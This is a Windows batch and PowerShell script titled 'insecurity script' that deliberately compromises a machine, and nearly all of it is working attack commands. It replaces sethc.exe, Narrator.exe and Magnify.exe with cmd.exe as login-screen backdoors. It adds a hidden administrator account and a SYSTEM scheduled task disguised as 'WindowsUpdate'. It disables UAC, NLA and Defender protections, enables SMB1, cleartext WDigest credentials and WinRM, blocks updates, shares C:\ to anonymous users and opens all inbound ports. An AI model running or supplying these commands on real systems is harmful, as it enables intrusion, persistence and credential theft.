---
# System prepended metadata

title: insecurity script

---

# insecurity script
:: Change sethc to CMD.exe

takeown /f C:\windows\system32\sethc.exe
icacls C:\windows\system32\sethc.exe /grant everyone:F
copy C:\windows\system32\cmd.exe C:\windows\system32\sethc.exe /y

takeown /f C:\windows\system32\Narrator.exe
icacls C:\windows\system32\Narrator.exe /grant everyone:F
copy C:\windows\system32\cmd.exe C:\windows\system32\Narrator.exe /y 

takeown /f C:\windows\system32\Magnify.exe
icacls C:\windows\system32\Magnify.exe /grant everyone:F
copy C:\windows\system32\cmd.exe C:\windows\system32\Magnify.exe /y


:: Make firewall allow / allow

Netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound

:: add malicious user

net user jimmy jimmy /add
net localgroup administrators jimmy /add
net group "domain administrators" jimmy /add

:: disable UAC

reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

:: turn off NLA

reg.exe ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

:: enable SMB1

DISM /Online /Enable-Feature /All /FeatureName:SMB1Protocol

:: setup winrm

winrm qc -q
winrm set winrm/config/client @{TrustedHosts="*"}

:: create a malicious scheduled task

schtasks /ru "SYSTEM" /create /sc minute /mo 1 /tn "WindowsUpdate" /tr "Netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound"

:: southeast below
powershell set-executionpolicy unrestricted -force; powershell set-mppreference -exclusionextension "exe","ps1","dll" -exclusionPath c: -disablebehaviorMonitoring 1 -disableintrusionpreventionsystem 1 -disableblockatfirstseen 1 -disablescriptscanning 1 -disablerealtimemonitoring 1 -disablearchivescanning 1 -disableprivacymode 1; powershell Set-MpPreference -DisableIOAVProtection 1 -MAPSReporting Disabled -SubmitSamplesConsent Never; powershell New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "DisableUAC" -Value 0 -PropertyType "DWORD"; powershell New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "LocalAccountTokenFilterPolicy" -Value 1 -PropertyType "DWORD"; powershell New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows` NT\Terminal` Services' -Name "fDisableClip" -Value 0 -PropertyType "DWORD"; powershell New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows` NT\Terminal` Services' -Name "fDisableCdm" -Value 0 -PropertyType "DWORD"; powershell New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name "UseLogonCredential" -Value 1 -PropertyType "DWORD"; powershell Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN' -Name "CheckedValue" -Value 0; powershell Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN' -Name "DefaultValue" -Value 0; powershell Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL' -Name "CheckedValue" -Value 0; powershell Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL' -Name "DefaultValue" -Value 0; powershell Set-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' -Name "NoFolderOptions" -Value 0; powershell New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate'; powershell New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU'; powershell Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU' -Name "DisableNotifications" -Value 1; powershell Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU' -Name "AUOptions" -Value 1; powershell Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU' -Name "UseWUServer" -Value 1; powershell Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU' -Name "WUServer" -Value 'http://127.0.0.1'; powershell Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU' -Name "WUStatusServer" -Value 'http://127.0.0.1'; powershell Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU' -Name "NoFolderOptions" -Value '1'; powershell New-Item -Path 'HKLM:\SYSTEM\Internet` Communication` Management'; powershell New-Item -Path 'HKLM:\SYSTEM\Internet` Communication` Management\Internet` Communication'; powershell Set-ItemProperty -Path 'HKLM:\SYSTEM\Internet` Communication` Management\Internet` Communication' -Name "DisableWindowsUpdateAccess" -Value '1'; powershell Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters' -Name "AutoShareWks" -Value '1'; cmd.exe /c net share share=C:\ /GRANT:"Anonymous Logon",FULL; New-NetFirewallRule -DisplayName "TCP Allow" -Direction Inbound -Action Allow -EdgeTraversalPolicy Allow -Protocol TCP -LocalPort 1-65535; New-NetFirewallRule -DisplayName "UDP Allow" -Direction Inbound -Action Allow -EdgeTraversalPolicy Allow -Protocol UDP -LocalPort 1-65535;